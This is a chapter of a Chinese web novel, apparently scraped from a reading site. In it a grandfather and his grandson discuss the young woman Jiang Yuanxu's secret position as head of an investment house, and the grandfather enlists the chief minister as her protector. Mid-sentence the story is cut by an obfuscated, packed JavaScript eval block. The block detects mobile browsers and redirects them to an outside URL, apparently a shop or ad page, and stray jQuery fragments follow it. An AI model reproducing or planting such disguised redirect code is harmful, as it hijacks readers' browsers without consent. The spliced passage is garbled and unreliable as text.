35. 谁利用谁

作品:《我当皇帝是为了你们好

    谢维和王令仪用过晚膳,不约而同到谢青衍的院子等着,云慎回来说姜姑娘一句话把公子哄好了,他们好奇地抓心挠肺的。


    王令仪看到进门的三人一人拿着一个盒子,颇感意外:“去吃个饭,怎么拿回这么些东西?”


    谢青衍心中的沉郁散去,眼睛也清明起来,祖父和母亲脸上的担忧如此明显,他前些时日竟未发觉。


    他以为自己装的挺好,但姜元序能一眼看出他的异样,朝夕相处的亲人又怎会不知。


    云齐云慎把盒子搁桌上,谢青衍打开剑盒,饶是见惯了好东西的谢维和王令仪也有一刻的失神。


    谢青衍一一解释这三件礼物的缘由。


    盒子里堆叠着五花八门的小玩意儿,王令仪取出一件把玩,赞叹:“这孩子,太有心了。”


    谢维思索片刻,对谢青衍说:“你明日把隔壁的房契送去,无论你们将来如何,这宅子都给她。”


    谢青衍也是这么想的,他收了价值连城的宝剑,总要回一份像样的礼。


    王令仪拉过他的袖子,到一旁坐下,眉目戏谑,“来,和娘说说,姜姑娘是如何哄你的?”


    热气涌上脸,谢青衍不自在地避开她的视线,又撞上同样戏谑的谢维,他垂下头,咬了咬唇,还是绷不住轻笑出声。


    可不是在哄他吗?分明一开始就看出他的憔悴,偏偏要夸他好看,他还傻乎乎地信了。


    看他这副表情,王令仪和谢维更期待了,谢青衍嗡声道:“她说我好看。”


    谢维忍不住嗤笑道:“出息!”


    这么一句就把他哄得找不着北了。


    “然后呢然后呢?”王令仪赶紧催他讲后续,跟催说书似的。


    谢青衍胡思乱想月余,一朝破除迷惘,也有了倾诉的欲望,姜元序太好了,他迫切地想让两位至亲之人知晓。


    谢维听着,不免心生感慨,这样玲珑剔透的孩子,怪不得人见人爱。


    谢青衍连日的焦躁他看在眼里,却也无可奈何,解铃还须系铃人,让他钻进死胡同的,不是一连串的事,而是那个未到京城的人。


    好在姜元序冰雪聪明,一眼看出症结,面对爱慕她的谢青衍,没有沾沾自喜,没有置之不理,而是巧妙地化解他的心结。


    王令仪听完,对自家儿子很不满:“你怎么愣头愣脑的,不知道献殷勤不说,还要姜姑娘迁就你,不知道的还以为是姜姑娘爱慕你。”


    谢维也搭腔:“冲你今日这表现,一厢情愿也是该的。”


    王令仪:“如今人到京城了,你休假时要多约人家出去走走,哪里好吃好玩,你不知道就来问娘,娘给你出主意。平日也要送些小礼物,不在于贵重,要着重体现你的心意。”


    谢维:“送礼时别忘了附上一张花笺,心中的情意要委婉地传递给人家,你诗赋不大好,只管把情意写出来,祖父帮你润色。”


    两人不停地传授追姑娘的技巧,谢青衍听得一愣一愣的,原来有这么多讲究,那他之前一有空就直接找上门的行为,岂不是很莽撞?


    三人密谋许久,王令仪心满意足地离开,谢维看出谢青衍还有话说,不着急走。


    谢青衍言简意赅道:“姜元序是今越投资的主事。”


    谢维端坐的身形晃了晃,拧起眉头不可置信地问:“四年前,联合投资云州的也是她?”


    谢青衍点头,又丢出一个惊雷:“周明坤曾想让她嫁入东宫,太子也是知晓此事的。”


    谢维只觉眼前一黑,大声斥道:“这么重要的事,你现在才说!”


    谢青衍低头不语,这到底是姜元序的私事,回京前他特意嘱咐过钟叔他们,把姜元序和太子和周家的关系瞒下来。


    可今越投资主事的身份太扎眼了,他如今的身份根本护不住姜元序,只能由祖父出面。


    谢维深吸一口气,怪不得!怪不得韩其如临大敌!


    太子和几位王爷都正当年,江州粮食商会有粮,今越投资有钱,韩其把姜元序当亲女儿,这就是兵权,再加上姜元序十八岁就能创下两份家业的能力和手腕,娶了她,半个屁股已经坐上龙椅了!


    目光触及到一脸凝重的谢青衍,谢维两眼一眯,精光乍现,抬手叩了叩桌面,冷声道:“她是把你当挡箭牌了。”


    谢青衍苦笑:“她要是真把我当挡箭牌就好了,至少能跟我亲近些,而且不会亲近别人。”


    谢维被这没出息的话气得翻白眼,咬牙问:“你就一点不介意她利用你?”


    “损我利她,才叫她利用我。我去了一趟江州,回来升了侍郎,我借出去一座宅子,收回来一柄宝剑,江州遇刺那日,若不是她,韩大人也不会和我同行,我非死即伤。桩桩件件,分明都是利我的,若这是利用,多少人得上赶着求利用。”


    谢青衍言之凿凿。


    “我在江州的公堂上对她一见钟情,若是没有去江州,同样会在今越的议事室里对她一见钟情,只要我遇到她,只要我喜欢她,我迟早要和那些觊觎她的人对上。”


    “那些看到她身后庞大利益的人,不会因为我放弃,反而会因为我贬损她。是我不怀好意,利用她对京城的不熟悉,用冠冕堂皇的理由骗她住到谢府隔壁,损的是她的名声,利的是我近水楼台,分明是我利用她。”


    谢维差点被唬住,稍一细想就明白他给的这些理由没一个站得住脚,唯有那段真心剖白是真的,气得拍了下桌子,骂骂咧咧走了。


    谢青衍抬手摸了摸鼻子,掩住嘴角得逞的笑。


    翌日午间,李凡玉拿着餐食,往谢维面前重重一放,沉声道:“你到底有什么事!”


    从早朝开始就时不时给他撇来一个意味不明的眼神,他皱眉看过去时,又饶有深意地撇开眼,断断续续一上午,愣是一句话没说。


    谢维长叹一口气,伸手抓住李凡玉的双手。


    李凡玉被这突然间的动作一惊,急急向后仰去,使劲挣了挣也没挣开。


    “谢维!你发什么癔症!”


    谢维牢牢攥住他的手,恳切道:“凡玉啊,又到了需要我们同舟共济的时刻。”


    李凡玉嫌弃地瞪了他一眼:“好好说话!”


    谢维注视着他的眼睛,简洁道:“姜元序进京了。”


    李凡玉皱眉。


    谢维:“她是今越投资的主事。”


    李凡玉凤眸微睁。


    谢维:“她是个女子。”


    李凡玉呼吸一窒。


    谢维:“周明坤曾让她嫁入东宫,太子亦知晓。”


    李凡玉面部抽动。


    谢维:“国师和我的学生戚见山,曾在回京途中见过她一面,不到半个时辰,皆对其赞誉有加。”


    李凡玉狠狠闭眼,思考良久,略带侥幸地问:“容貌倾城?”


    谢维目露怜悯:“脸上有疤,平日戴着面具。”


    李凡玉脱力似的弯了脊背。


    谢维放开他的手,又重重叹了一口气。


    李凡玉眼皮一颤,眯眼睨着作苦大仇深状的谢维,突然放松神情,哼笑出声。


    姜元序若是想和上头的人扯上关系,不必现在才进京,她既然敢进京,必是做了万全的准备。


    李凡玉拿过餐食,好似刚才什么都没发生似的,咬一口胡饼,开始说风凉话:“我来猜猜,你家大孙子迷了心窍,你上我这儿来搬救兵了。”


    谢维嘴角颤了颤,心里把李凡玉骂了个狗血淋头,面上还是一派愁苦。


    “她要是冲青衍来


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211532|197420||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的,我也乐得成全,这样的女子,谁家娶了都得上高香,可她明显对青衍没那个意思啊!我家儿媳已经给她下了帖子,明日便要登门,我想来想去都觉得不对,她怕是冲我来的。”


    李凡玉一口干饼子噎在喉咙,呛咳几声,软了语气真诚地发问:“你去哪儿糊的脸皮?”


    谢维一脸哀怨,李凡玉嘴角抽了抽,眼疼地撇开头,为了他家宝贝大孙子,真把老脸都舍了。


    李凡玉懒得再绕圈子,“我明日去你府上。”


    谢维拧着眉,不放心道:“会不会太高调了?”


    李凡玉哼一声:“她这身份,低调得起来吗。”


    谢维状似不情愿地嗯了一声,心里乐开了花,只要李凡玉明天去了,对外怎么传还不是他说了算。


    有这座大山在前面挡着,宫里头也不敢轻举妄动,青衍努力些,一年半载的,两人婚事一定,万事大吉。


    李凡玉慢吞吞地嚼着饼子,心里没有被算计的苦闷,全是对机会送上门的满意。


    今越最近的动静他听说了,约见主事的门槛实在太高,他拿不出一百万的存银,姜元序又是女子,贸然邀约更不合适,去谢家见反倒省事。


    姜元序是神是鬼,他亲自见见方能判断。


    谢青衍收到谢维的准信,下值后把马车停在谢府,自己兴冲冲往隔壁去,却被门房拦下。


    “夫人交待,让公子回来先去她院里一趟。”


    谢青衍刚进门,王令仪递给他两个大食盒,“我打听过了,姜姑娘还在今越银行的楼上办公,你去给她送晚饭。”


    “里头的素菜都是用的你那块地里的,一定记得跟她说,这是你亲手种的,知道吗?”


    说完也不管谢青衍是何反应,急哄哄把人推出门,马上到饭点,迟了人家该吃好饭了。


    姜元序听了果然很惊喜,每样都吃了好些,不断夸赞谢青衍种菜手艺好。


    谢青衍被夸的心花怒放,浑身充满干劲,恨不得马上回去把花园掘了种上菜。


    两人吃的差不多,谢青衍说起正事:“祖父邀了李首辅,明日你正好一道见见,你今越主事的身份通过谢府散出去,又有李首辅镇着,宫里头的人也不敢轻举妄动。”


    姜元序手一僵,刚夹起的丸子掉回盘子,她抬头不可思议地问:“李首辅这么乐于助人的吗?见都没见过呢,直接来给我当靠山?”


    谢青衍伸手把丸子夹到她碗里,“韩老将军的信也写给李首辅了,他们二人得了信要照看你,如今京里许多人都在寻今越主事的门路,与其等麻烦找上门,不如防患于未然。”


    姜元序用筷子一下一下戳着碗里的丸子,觉得不太对,她要是遇事求上门,有韩叔的关系,人家肯定会酌情帮忙,但上赶着给人当靠山,就有些崩人设了,据她所知,李首辅不是好管闲事的人。


    她缓缓抬起眼,眉峰微压,若有所思地盯着谢青衍,谢青衍闲适的动作慢慢变得僵硬。


    姜元序嘴角勾起,笑问:“你和你祖父说了什么?”


    谢青衍紧张地把嘴里的东西咽下去,清了清嗓子,老实说:“我把周明坤想让你嫁入东宫的事说了,一个江州粮食商会太子就动心了,再加上今越投资,太子恐怕不会善罢甘休。我祖父阻止不了宫里的旨意,但李首辅却是可以的。”


    “你祖父是真疼你。”姜元序感慨。


    谢青衍捧着碗,笑的傻气,祖父一直视李首辅为死对头,做梦都想有朝一日能把李首辅踩脚下,这回要不是因为他,也不会舍下脸去邀人家。


    姜元序的疑问并未消散,这件事处处透着诡异,具体怎么回事,或许得见到李首辅方能察觉。


    她漫不经心地和谢青衍说:“你和我说说李首辅的事。”